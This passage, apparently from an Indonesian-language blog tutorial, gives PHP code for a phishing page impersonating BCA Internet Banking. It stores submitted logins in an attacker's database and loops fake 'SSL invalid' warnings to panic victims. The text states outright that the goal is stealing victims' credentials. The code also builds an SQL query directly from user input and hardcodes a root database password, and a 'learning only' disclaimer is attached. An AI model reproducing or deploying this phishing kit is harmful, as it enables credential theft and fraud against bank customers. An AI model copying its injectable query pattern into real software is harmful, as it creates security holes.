mysqli_query($konek, $query); // kirim query ke database
$hasil = mysqli_affected_rows($konek); // cek perubahan data di database
// login.php adalah URL Direct letak overflow
if ($hasil > 0)
{
header(‘location:../login.php’ );
}
else
{
echo “gagal”;
}
?>

Membuat koneksi.php
<?php
$database = “bca”; // nama database
$host = “localhost”; // nama host
$nama = “root”; // username database
$pass = “haning”; // password database
$konek = mysqli_connect($host, $nama, $pass, $database); // konek ke database
if(mysqli_connect_errno())
{
echo “Koneksi Ke Server Gagal.”;
exit();
}
?>

Tempat berlangsungnya overflow, saya namakan login.php
<?php
mysql_connect (“localhost”, “root”,”haning”) or die (mysql_error());
mysql_select_db (“bca”) or die(mysql_error());
$over = $_POST['login']; // button submit “login”
$sql = mysql_query(” select * from hack where user like ‘%$over%’ “);
$row = mysql_fetch_array($sql);
// Proses Oveflow, lebih tepatnya Perulangan Pencarian
if ($row > 0)
{
while ($row){
echo “At “.$row['tgl'].” Secure Socket SSL Invalid. Please, do not process access to BCA Internet Banking.<br>”;
}
}
else
{
echo “overflow gagal”;
}
?>
Tujuan di balik phishing ini adalah mencuri informasi korban di balik login palsu dan membuat panik korban. Ketika korban panik, maka ia akan menutup login tersebut dan sang Attacker mendapatkan user login korban di dalam database yang telah disiapkan sebelumnya.
Simak VIDEO nya Disini:

Untuk Download Video Demonstrasi Klik DISINI
Artikel ini hanya semata-mata untuk pembelajaran, penulis tidak bertanggung jawab sama sekali atas tindakan diluar artikel ini. Gunakan artikel ini sebagai pembelajaran dan memproteksi diri.
Selamat mencoba & semoga berhasil,